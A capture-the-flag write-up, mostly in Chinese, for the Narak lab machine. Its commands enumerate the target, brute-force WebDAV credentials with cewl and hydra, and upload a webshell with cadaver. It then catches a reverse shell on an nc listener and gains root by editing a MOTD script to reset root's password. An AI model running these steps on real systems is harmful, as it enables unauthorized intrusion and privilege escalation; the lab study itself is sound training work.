Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.
Objective: Find 2 flags (user.txt and root.txt)
nmap 扫出来靶场ip 和开放端口
浏览器访问 ,一堆这个关于题目背景的地狱图片 ,没有什么信息
扫描一下目录 ,dirsearch 和 dirb都用了一下 ,dirmap倒是没出来
访问webdav 有东西
cadaver http://192.168.164.130/webdav //连接
put webshell.php //上传
通过爬取网站获得关键词信息,创建一个密码字典
cewl http://192.168.164.130/ -w 1.txt
hydra -L 1.txt -P 1.txt 192.168.164.130 http-get /webdav
-L 用户名 -P 密码 ip地址 协议 路径
爆破出 用户名密码了,就可以cadaver 进行连接了
连接上,可以 put 一个 webshell ,成功后
nc ——监听nc -lvvp 4444(webshell设置端口)
然后用刚才的用户名密码 登录这个webshell
发现nc 成功连接靶机,可以输入命令了
已经反弹shell ,执行下面命令进入python交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
这样的话,页面就好看一些了
BrainFuck 解码后:chitragupt (应该是某用户的密码)
用ssh 远程登录 尝试
成功拿到flag1
motd 提权原理:修改文件 /etc/update-motd.d/00-header
1, 进入到文件夹 /etc/update-motd.d/
2, 修改文件 echo "echo 'root:123456'|sudo chpasswd">>00-header
3, 重新登陆
4, su root
前两条命令输入,没反应,就可以重新登陆了